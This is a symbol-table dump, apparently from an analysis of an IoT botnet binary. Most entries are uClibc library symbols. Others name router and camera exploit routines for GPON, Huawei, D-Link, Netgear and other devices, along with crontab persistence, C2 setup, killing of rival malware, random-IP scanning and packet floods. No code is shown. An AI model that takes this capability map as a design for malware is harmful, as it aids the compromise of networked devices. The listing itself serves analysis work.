                __data_start.symtab0x805a0280NOTYPE<unknown>DEFAULT10
                __decode_answer.symtab0x8055c48249FUNC<unknown>HIDDEN2
                __decode_dotted.symtab0x8056114215FUNC<unknown>HIDDEN2
                __decode_header.symtab0x8055b28171FUNC<unknown>HIDDEN2
                __deregister_frame_info_bases.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
                __dns_lookup.symtab0x8054c641876FUNC<unknown>HIDDEN2
                __do_global_ctors_aux.symtab0x80562300FUNC<unknown>DEFAULT2
                __do_global_dtors_aux.symtab0x80480c00FUNC<unknown>DEFAULT2
                __dso_handle.symtab0x805a0200OBJECT<unknown>HIDDEN10
                __encode_dotted.symtab0x8056084144FUNC<unknown>HIDDEN2
                __encode_header.symtab0x8055a74177FUNC<unknown>HIDDEN2
                __encode_question.symtab0x8055bd483FUNC<unknown>HIDDEN2
                __environ.symtab0x805c60c4OBJECT<unknown>DEFAULT11
                __errno_location.symtab0x804f2a46FUNC<unknown>DEFAULT2
                __errno_location.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                __exit_cleanup.symtab0x805c6044OBJECT<unknown>HIDDEN11
                __fgetc_unlocked.symtab0x80549e4220FUNC<unknown>DEFAULT2
                __fini_array_end.symtab0x805a0000NOTYPE<unknown>HIDDENSHN_ABS
                __fini_array_start.symtab0x805a0000NOTYPE<unknown>HIDDENSHN_ABS
                __get_hosts_byname_r.symtab0x80555fc44FUNC<unknown>HIDDEN2
                __get_pc_thunk_bx.symtab0x80480b00FUNC<unknown>HIDDEN2
                __getdents.symtab0x80538cc111FUNC<unknown>HIDDEN2
                __getdents64.symtab0x805393c276FUNC<unknown>HIDDEN2
                __getpagesize.symtab0x8053af019FUNC<unknown>DEFAULT2
                __glibc_strerror_r.symtab0x8050ef829FUNC<unknown>DEFAULT2
                __glibc_strerror_r.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                __h_errno_location.symtab0x8053ed06FUNC<unknown>DEFAULT2
                __h_errno_location.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                __init_array_end.symtab0x805a0000NOTYPE<unknown>HIDDENSHN_ABS
                __init_array_start.symtab0x805a0000NOTYPE<unknown>HIDDENSHN_ABS
                __length_dotted.symtab0x80561ec65FUNC<unknown>HIDDEN2
                __length_question.symtab0x8055c2830FUNC<unknown>HIDDEN2
                __libc_close.symtab0x804eec046FUNC<unknown>DEFAULT2
                __libc_connect.symtab0x8051a9443FUNC<unknown>DEFAULT2
                __libc_creat.symtab0x8053cb325FUNC<unknown>DEFAULT2
                __libc_fcntl.symtab0x805371087FUNC<unknown>DEFAULT2
                __libc_fcntl64.symtab0x805376863FUNC<unknown>DEFAULT2
                __libc_fork.symtab0x804eef038FUNC<unknown>DEFAULT2
                __libc_getpid.symtab0x804ef1838FUNC<unknown>DEFAULT2
                __libc_lseek64.symtab0x8053ba095FUNC<unknown>DEFAULT2
                __libc_nanosleep.symtab0x8053c3450FUNC<unknown>DEFAULT2
                __libc_open.symtab0x8053c6875FUNC<unknown>DEFAULT2
                __libc_poll.symtab0x80556a454FUNC<unknown>DEFAULT2
                __libc_read.symtab0x80556dc54FUNC<unknown>DEFAULT2
                __libc_recv.symtab0x8051aec51FUNC<unknown>DEFAULT2
                __libc_send.symtab0x8051b2051FUNC<unknown>DEFAULT2
                __libc_sendto.symtab0x8051b5467FUNC<unknown>DEFAULT2
                __libc_sigaction.symtab0x80535cf217FUNC<unknown>DEFAULT2
                __libc_stack_end.symtab0x805c6084OBJECT<unknown>DEFAULT11
                __libc_waitpid.symtab0x8053da426FUNC<unknown>DEFAULT2
                __libc_write.symtab0x804f06454FUNC<unknown>DEFAULT2
                __malloc_consolidate.symtab0x8052631424FUNC<unknown>HIDDEN2
                __malloc_largebin_index.symtab0x8051d1438FUNC<unknown>DEFAULT2
                __malloc_lock.symtab0x805a23024OBJECT<unknown>DEFAULT10
                __malloc_state.symtab0x805c9a0888OBJECT<unknown>DEFAULT11
                __malloc_trim.symtab0x80525a4141FUNC<unknown>DEFAULT2
                __nameserver.symtab0x805cd2812OBJECT<unknown>HIDDEN11
                __nameservers.symtab0x805cd344OBJECT<unknown>HIDDEN11
                __open_etc_hosts.symtab0x8055d4449FUNC<unknown>HIDDEN2
                __open_nameservers.symtab0x80553b8579FUNC<unknown>HIDDEN2
                __pagesize.symtab0x805c6104OBJECT<unknown>DEFAULT11
                __preinit_array_end.symtab0x805a0000NOTYPE<unknown>HIDDENSHN_ABS
                __preinit_array_start.symtab0x805a0000NOTYPE<unknown>HIDDENSHN_ABS
                __pthread_initialize_minimal.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
                __pthread_mutex_init.symtab0x805338f3FUNC<unknown>DEFAULT2
                __pthread_mutex_lock.symtab0x805338f3FUNC<unknown>DEFAULT2
                __pthread_mutex_trylock.symtab0x805338f3FUNC<unknown>DEFAULT2
                __pthread_mutex_unlock.symtab0x805338f3FUNC<unknown>DEFAULT2
                __pthread_return_0.symtab0x805338f3FUNC<unknown>DEFAULT2
                __pthread_return_void.symtab0x80533921FUNC<unknown>DEFAULT2
                __raise.symtab0x805562824FUNC<unknown>HIDDEN2
                __read_etc_hosts_r.symtab0x8055d75724FUNC<unknown>HIDDEN2
                __register_frame_info_bases.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
                __resolv_lock.symtab0x805a34824OBJECT<unknown>DEFAULT10
                __restore.symtab0x80535c70NOTYPE<unknown>DEFAULT2
                __restore_rt.symtab0x80535c00NOTYPE<unknown>DEFAULT2
                __rtld_fini.symtab0x805c6184OBJECT<unknown>HIDDEN11
                __searchdomain.symtab0x805cd1816OBJECT<unknown>HIDDEN11
                __searchdomains.symtab0x805cd384OBJECT<unknown>HIDDEN11
                __sigaddset.symtab0x8051cd432FUNC<unknown>DEFAULT2
                __sigdelset.symtab0x8051cf432FUNC<unknown>DEFAULT2
                __sigismember.symtab0x8051cb036FUNC<unknown>DEFAULT2
                __socketcall.symtab0x80536dc50FUNC<unknown>HIDDEN2
                __socketcall.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                __stdin.symtab0x805a0fc4OBJECT<unknown>DEFAULT10
                __stdio_READ.symtab0x8053ff868FUNC<unknown>HIDDEN2
                __stdio_WRITE.symtab0x805403c126FUNC<unknown>HIDDEN2
                __stdio_adjust_position.symtab0x8055850168FUNC<unknown>HIDDEN2
                __stdio_fwrite.symtab0x80540bc240FUNC<unknown>HIDDEN2
                __stdio_init_mutex.symtab0x804fa7123FUNC<unknown>HIDDEN2
                __stdio_mutex_initializer.3991.symtab0x805859824OBJECT<unknown>DEFAULT4
                __stdio_rfill.symtab0x80558f840FUNC<unknown>HIDDEN2
                __stdio_seek.symtab0x805592051FUNC<unknown>HIDDEN2
                __stdio_trans2r_o.symtab0x80541ac101FUNC<unknown>HIDDEN2
                __stdio_trans2w_o.symtab0x8054214158FUNC<unknown>HIDDEN2
                __stdio_wcommit.symtab0x804fb1043FUNC<unknown>HIDDEN2
                __stdout.symtab0x805a1004OBJECT<unknown>DEFAULT10
                __syscall_error.symtab0x805568c21FUNC<unknown>HIDDEN2
                __syscall_error.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                __syscall_fcntl.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                __syscall_fcntl64.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                __syscall_rt_sigaction.symtab0x80537a859FUNC<unknown>HIDDEN2
                __syscall_rt_sigaction.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                __uClibc_fini.symtab0x805335063FUNC<unknown>DEFAULT2
                __uClibc_init.symtab0x80533c764FUNC<unknown>DEFAULT2
                __uClibc_main.symtab0x8053407441FUNC<unknown>DEFAULT2
                __uClibc_main.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                __uclibc_progname.symtab0x805a3384OBJECT<unknown>HIDDEN10
                __vfork.symtab0x80536a821FUNC<unknown>HIDDEN2
                __xpg_strerror_r.symtab0x8050f18183FUNC<unknown>DEFAULT2
                __xpg_strerror_r.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                __xstat64_conv.symtab0x8053dc0146FUNC<unknown>HIDDEN2
                __xstat_conv.symtab0x8053e52125FUNC<unknown>HIDDEN2
                _adjust_pos.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _charpad.symtab0x804fbc454FUNC<unknown>DEFAULT2
                _cs_funcs.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _dl_aux_init.symtab0x805564018FUNC<unknown>DEFAULT2
                _dl_phdr.symtab0x805cd3c4OBJECT<unknown>DEFAULT11
                _dl_phnum.symtab0x805cd404OBJECT<unknown>DEFAULT11
                _edata.symtab0x805a3600NOTYPE<unknown>DEFAULTSHN_ABS
                _end.symtab0x805cd440NOTYPE<unknown>DEFAULTSHN_ABS
                _errno.symtab0x805c6204OBJECT<unknown>DEFAULT11
                _exit.symtab0x804ee0040FUNC<unknown>DEFAULT2
                _exit.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _fini.symtab0x80562583FUNC<unknown>DEFAULT3
                _fixed_buffers.symtab0x805a4008192OBJECT<unknown>DEFAULT11
                _fopen.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _fp_out_narrow.symtab0x804fbfa106FUNC<unknown>DEFAULT2
                _fpmaxtostr.symtab0x80544201476FUNC<unknown>HIDDEN2
                _fpmaxtostr.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _fwrite.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _h_errno.symtab0x805c6244OBJECT<unknown>DEFAULT11
                _init.symtab0x80480943FUNC<unknown>DEFAULT1
                _load_inttype.symtab0x80542b486FUNC<unknown>HIDDEN2
                _load_inttype.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _ppfs_init.symtab0x805020c111FUNC<unknown>HIDDEN2
                _ppfs_init.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _ppfs_parsespec.symtab0x80503f9966FUNC<unknown>HIDDEN2
                _ppfs_parsespec.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _ppfs_prepargs.symtab0x805027c66FUNC<unknown>HIDDEN2
                _ppfs_prepargs.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _ppfs_setargs.symtab0x80502c0271FUNC<unknown>HIDDEN2
                _ppfs_setargs.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _promoted_size.symtab0x80503d041FUNC<unknown>DEFAULT2
                _pthread_cleanup_pop_restore.symtab0x80533921FUNC<unknown>DEFAULT2
                _pthread_cleanup_push_defer.symtab0x80533921FUNC<unknown>DEFAULT2
                _rfill.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _sigintr.symtab0x805c920128OBJECT<unknown>HIDDEN11
                _start.symtab0x804816434FUNC<unknown>DEFAULT2
                _stdio.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _stdio_fopen.symtab0x804f7e0559FUNC<unknown>HIDDEN2
                _stdio_init.symtab0x804fa1097FUNC<unknown>HIDDEN2
                _stdio_openlist.symtab0x805a1044OBJECT<unknown>DEFAULT10
                _stdio_openlist_add_lock.symtab0x805a10824OBJECT<unknown>DEFAULT10
                _stdio_openlist_dec_use.symtab0x80508ec228FUNC<unknown>DEFAULT2
                _stdio_openlist_del_count.symtab0x805a3fc4OBJECT<unknown>DEFAULT11
                _stdio_openlist_del_lock.symtab0x805a12024OBJECT<unknown>DEFAULT10
                _stdio_openlist_use_count.symtab0x805a3f84OBJECT<unknown>DEFAULT11
                _stdio_streams.symtab0x805a140240OBJECT<unknown>DEFAULT10
                _stdio_term.symtab0x804fa88136FUNC<unknown>HIDDEN2
                _stdio_user_locking.symtab0x805a1384OBJECT<unknown>DEFAULT10
                _stdlib_strto_l.symtab0x8052e60277FUNC<unknown>HIDDEN2
                _stdlib_strto_l.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _store_inttype.symtab0x805430c61FUNC<unknown>HIDDEN2
                _store_inttype.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _string_syserrmsgs.symtab0x80586602906OBJECT<unknown>HIDDEN4
                _string_syserrmsgs.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _trans2r.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _trans2w.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _uintmaxtostr.symtab0x805434c209FUNC<unknown>HIDDEN2
                _uintmaxtostr.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _vfprintf_internal.symtab0x804fc641448FUNC<unknown>HIDDEN2
                _vfprintf_internal.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                _wcommit.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                abort.symtab0x8052998273FUNC<unknown>DEFAULT2
                abort.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                access.symtab0x804ee2850FUNC<unknown>DEFAULT2
                access.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                add_to_crontab.symtab0x8048267174FUNC<unknown>DEFAULT2
                addthis.symtab0x804864e92FUNC<unknown>DEFAULT2
                atoi.symtab0x8052e3020FUNC<unknown>DEFAULT2
                atol.symtab0x8052e3020FUNC<unknown>DEFAULT2
                atol.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                bcopy.symtab0x8050fd021FUNC<unknown>DEFAULT2
                bcopy.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                been_there_done_that.symtab0x805c6001OBJECT<unknown>DEFAULT11
                been_there_done_that.2832.symtab0x805c61c1OBJECT<unknown>DEFAULT11
                bind.symtab0x8051a6843FUNC<unknown>DEFAULT2
                bind.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                brk.symtab0x805565454FUNC<unknown>DEFAULT2
                brk.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                bsd_signal.symtab0x8051c00175FUNC<unknown>DEFAULT2
                buf.2658.symtab0x805c40416OBJECT<unknown>DEFAULT11
                buf.4993.symtab0x805c420460OBJECT<unknown>DEFAULT11
                calloc.symtab0x80524b0244FUNC<unknown>DEFAULT2
                calloc.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                chdir.symtab0x804ee5c46FUNC<unknown>DEFAULT2
                chdir.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                check_crontab_entry.symtab0x8048188223FUNC<unknown>DEFAULT2
                child_count.symtab0x805a3c84OBJECT<unknown>DEFAULT11
                child_pids.symtab0x805c7e0320OBJECT<unknown>DEFAULT11
                chmod.symtab0x804ee8c51FUNC<unknown>DEFAULT2
                chmod.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                clock_getres.symtab0x80537e450FUNC<unknown>DEFAULT2
                clock_getres.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                close.symtab0x804eec046FUNC<unknown>DEFAULT2
                close.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                closedir.symtab0x804f0bc112FUNC<unknown>DEFAULT2
                closedir.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                completed.2429.symtab0x805a3601OBJECT<unknown>DEFAULT11
                connect.symtab0x8051a9443FUNC<unknown>DEFAULT2
                connect.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                creat.symtab0x8053cb325FUNC<unknown>DEFAULT2
                createChildrenreplic.symtab0x8049dee184FUNC<unknown>DEFAULT2
                crontab.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                crontabinit.symtab0x8048315318FUNC<unknown>DEFAULT2
                crtstuff.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                crtstuff.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                csum.symtab0x804a5c8113FUNC<unknown>DEFAULT2
                daemonize.symtab0x8049ac0154FUNC<unknown>DEFAULT2
                data_start.symtab0x805a0280NOTYPE<unknown>DEFAULT10
                decodea.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                decoded.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                decodeh.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                destroythis.symtab0x80486aa70FUNC<unknown>DEFAULT2
                difftime.symtab0x804f2ac11FUNC<unknown>DEFAULT2
                difftime.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                dl-support.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                dnslookup.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                dup2.symtab0x805381850FUNC<unknown>DEFAULT2
                dup2.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                encoded.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                encodeh.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                encodeq.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                encrypt.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                environ.symtab0x805c60c4OBJECT<unknown>DEFAULT11
                errno.symtab0x805c6204OBJECT<unknown>DEFAULT11
                errno.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                execl.symtab0x8052fe0105FUNC<unknown>DEFAULT2
                execl.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                execve.symtab0x805384c54FUNC<unknown>DEFAULT2
                execve.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                exit.symtab0x8052f78103FUNC<unknown>DEFAULT2
                exit.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                exp10_table.symtab0x80597c0156OBJECT<unknown>DEFAULT4
                exploit.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                exploit_pid.symtab0x805c7c04OBJECT<unknown>DEFAULT11
                exploit_socket_crossweb.symtab0x804911a200FUNC<unknown>DEFAULT2
                exploit_socket_dlink.symtab0x80492aa203FUNC<unknown>DEFAULT2
                exploit_socket_gpon80.symtab0x8048a69200FUNC<unknown>DEFAULT2
                exploit_socket_gpon8080.symtab0x804899e203FUNC<unknown>DEFAULT2
                exploit_socket_hnap.symtab0x8049052200FUNC<unknown>DEFAULT2
                exploit_socket_huawei.symtab0x8048df1203FUNC<unknown>DEFAULT2
                exploit_socket_jaws.symtab0x80491e2200FUNC<unknown>DEFAULT2
                exploit_socket_netgear80.symtab0x8048d29200FUNC<unknown>DEFAULT2
                exploit_socket_netgear8080.symtab0x8048c5e203FUNC<unknown>DEFAULT2
                exploit_socket_r7064.symtab0x8049375203FUNC<unknown>DEFAULT2
                exploit_socket_realtek.symtab0x8048b31301FUNC<unknown>DEFAULT2
                exploit_socket_tplink2.symtab0x804950b203FUNC<unknown>DEFAULT2
                exploit_socket_tr064_5555.symtab0x8048f87203FUNC<unknown>DEFAULT2
                exploit_socket_tr064_7574.symtab0x8048ebc203FUNC<unknown>DEFAULT2
                exploit_socket_vacron.symtab0x8049440203FUNC<unknown>DEFAULT2
                fclose.symtab0x804f2b8265FUNC<unknown>DEFAULT2
                fclose.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fcntl.symtab0x805371087FUNC<unknown>DEFAULT2
                fcntl64.symtab0x805376863FUNC<unknown>DEFAULT2
                fdopen.symtab0x8053fc450FUNC<unknown>DEFAULT2
                fdopen.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fflush_unlocked.symtab0x80509d0321FUNC<unknown>DEFAULT2
                fflush_unlocked.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fgetc_unlocked.symtab0x80549e4220FUNC<unknown>DEFAULT2
                fgetc_unlocked.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fgets.symtab0x80507c098FUNC<unknown>DEFAULT2
                fgets.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fgets_unlocked.symtab0x8050b14105FUNC<unknown>DEFAULT2
                fgets_unlocked.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fmt.symtab0x805979020OBJECT<unknown>DEFAULT4
                fopen.symtab0x804f3c424FUNC<unknown>DEFAULT2
                fopen.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fork.symtab0x804eef038FUNC<unknown>DEFAULT2
                fork.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fprintf.symtab0x804f41030FUNC<unknown>DEFAULT2
                fprintf.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fputs.symtab0x805082495FUNC<unknown>DEFAULT2
                fputs.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fputs_unlocked.symtab0x8050b8051FUNC<unknown>DEFAULT2
                fputs_unlocked.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                frame_dummy.symtab0x80481100FUNC<unknown>DEFAULT2
                fread.symtab0x8050884101FUNC<unknown>DEFAULT2
                fread.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fread_unlocked.symtab0x8050bb4275FUNC<unknown>DEFAULT2
                fread_unlocked.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                free.symtab0x80527d9412FUNC<unknown>DEFAULT2
                free.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fseek.symtab0x805575027FUNC<unknown>DEFAULT2
                fseeko.symtab0x805575027FUNC<unknown>DEFAULT2
                fseeko.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fseeko64.symtab0x805576c227FUNC<unknown>DEFAULT2
                fseeko64.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fstat.symtab0x805388472FUNC<unknown>DEFAULT2
                fstat.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                fuckothernets.symtab0x8049668121FUNC<unknown>DEFAULT2
                fwrite_unlocked.symtab0x8050cc8116FUNC<unknown>DEFAULT2
                fwrite_unlocked.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                generateRandomIP.symtab0x804e94f242FUNC<unknown>DEFAULT2
                generate_random_string.symtab0x80499f4204FUNC<unknown>DEFAULT2
                get_hosts_byname_r.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                get_http_content.symtab0x8049b5a660FUNC<unknown>DEFAULT2
                get_ips_in_that_block.symtab0x804e4a7274FUNC<unknown>DEFAULT2
                get_local_ip.symtab0x804a639353FUNC<unknown>DEFAULT2
                get_pid.symtab0x8049767653FUNC<unknown>DEFAULT2
                getc_unlocked.symtab0x80549e4220FUNC<unknown>DEFAULT2
                getdents.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                getdents64.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                getdtablesize.symtab0x8053a5037FUNC<unknown>DEFAULT2
                getdtablesize.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                getegid.symtab0x8053a7838FUNC<unknown>DEFAULT2
                getegid.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                geteuid.symtab0x8053aa038FUNC<unknown>DEFAULT2
                geteuid.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                getgid.symtab0x8053ac838FUNC<unknown>DEFAULT2
                getgid.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                gethostbyname.symtab0x805170448FUNC<unknown>DEFAULT2
                gethostbyname.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                gethostbyname_r.symtab0x8051734818FUNC<unknown>DEFAULT2
                gethostbyname_r.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                getmethis.symtab0x804861a52FUNC<unknown>DEFAULT2
                getpagesize.symtab0x8053af019FUNC<unknown>DEFAULT2
                getpagesize.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                getpid.symtab0x804ef1838FUNC<unknown>DEFAULT2
                getpid.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                getrlimit.symtab0x8053b0450FUNC<unknown>DEFAULT2
                getrlimit.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                getsockname.symtab0x8051ac043FUNC<unknown>DEFAULT2
                getsockname.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                gettimeofday.symtab0x804ef4050FUNC<unknown>DEFAULT2
                gettimeofday.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                getuid.symtab0x8053b3838FUNC<unknown>DEFAULT2
                getuid.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                global.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                gre.symtab0x804b329751FUNC<unknown>DEFAULT2
                h.4992.symtab0x805c5ec20OBJECT<unknown>DEFAULT11
                h_errno.symtab0x805c6244OBJECT<unknown>DEFAULT11
                handshake.symtab0x804acf3872FUNC<unknown>DEFAULT2
                htonl.symtab0x80510a07FUNC<unknown>DEFAULT2
                htons.symtab0x805109412FUNC<unknown>DEFAULT2
                http.symtab0x804b05b718FUNC<unknown>DEFAULT2
                i.symtab0x805a3844OBJECT<unknown>DEFAULT11
                icmp.symtab0x804bbf6751FUNC<unknown>DEFAULT2
                igmp.symtab0x804bee5751FUNC<unknown>DEFAULT2
                ignore_signals.symtab0x804971483FUNC<unknown>DEFAULT2
                increment_ip.symtab0x804e47352FUNC<unknown>DEFAULT2
                index.symtab0x8050d9c30FUNC<unknown>DEFAULT2
                inet_addr.symtab0x80516dc37FUNC<unknown>DEFAULT2
                inet_aton.symtab0x80515e4148FUNC<unknown>DEFAULT2
                inet_aton.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                inet_makeaddr.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                inet_ntoa.symtab0x80516c721FUNC<unknown>DEFAULT2
                inet_ntoa.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                inet_ntoa_r.symtab0x805167879FUNC<unknown>DEFAULT2
                inet_ntop.symtab0x8051414462FUNC<unknown>DEFAULT2
                inet_ntop4.symtab0x805130c264FUNC<unknown>DEFAULT2
                inet_pton.symtab0x8051142458FUNC<unknown>DEFAULT2
                inet_pton4.symtab0x80510bc134FUNC<unknown>DEFAULT2
                initC2.symtab0x8049eff1344FUNC<unknown>DEFAULT2
                initReplic.symtab0x804ebb2588FUNC<unknown>DEFAULT2
                initfini.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                initstate.symtab0x8052b5987FUNC<unknown>DEFAULT2
                initstate_r.symtab0x8052d82171FUNC<unknown>DEFAULT2
                ioctl.symtab0x8053b6063FUNC<unknown>DEFAULT2
                ioctl.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                ip.3379.symtab0x805a3cc16OBJECT<unknown>DEFAULT11
                ipState.symtab0x805a3a040OBJECT<unknown>DEFAULT11
                isPortOpen.symtab0x804ea41369FUNC<unknown>DEFAULT2
                isatty.symtab0x805100429FUNC<unknown>DEFAULT2
                isatty.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                isbl.symtab0x804e5bc915FUNC<unknown>DEFAULT2
                kill.symtab0x804ef7450FUNC<unknown>DEFAULT2
                kill.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                killChildren.symtab0x8049ea689FUNC<unknown>DEFAULT2
                lengthd.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                lengthq.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                libc/sysdeps/linux/i386/crt1.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                libc/sysdeps/linux/i386/crti.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                libc/sysdeps/linux/i386/crtn.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                libc/sysdeps/linux/i386/mmap.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                libc/sysdeps/linux/i386/vfork.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                llseek.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                lock.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                lockthis.symtab0x80485db63FUNC<unknown>DEFAULT2
                lseek64.symtab0x8053ba095FUNC<unknown>DEFAULT2
                main.symtab0x804a43f392FUNC<unknown>DEFAULT2
                main.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                malloc.symtab0x8051d3a1908FUNC<unknown>DEFAULT2
                malloc.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                malloc_trim.symtab0x805297534FUNC<unknown>DEFAULT2
                max.symtab0x805a3804OBJECT<unknown>DEFAULT11
                memchr.symtab0x8054ac035FUNC<unknown>DEFAULT2
                memchr.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                memcpy.symtab0x8050d3c39FUNC<unknown>DEFAULT2
                memcpy.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                memmove.symtab0x8054ae439FUNC<unknown>DEFAULT2
                memmove.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                mempcpy.symtab0x8054b0c33FUNC<unknown>DEFAULT2
                mempcpy.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                memrchr.symtab0x8054b30176FUNC<unknown>DEFAULT2
                memrchr.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                memset.symtab0x8050d6421FUNC<unknown>DEFAULT2
                memset.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                method.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                mmap.symtab0x80536c027FUNC<unknown>DEFAULT2
                munmap.symtab0x8053c0050FUNC<unknown>DEFAULT2
                munmap.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                mylock.symtab0x805a3dc24OBJECT<unknown>DEFAULT11
                mylock.symtab0x805a24824OBJECT<unknown>DEFAULT10
                mylock.symtab0x805a26024OBJECT<unknown>DEFAULT10
                mylock.symtab0x805c62824OBJECT<unknown>DEFAULT11
                nanosleep.symtab0x8053c3450FUNC<unknown>DEFAULT2
                nanosleep.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
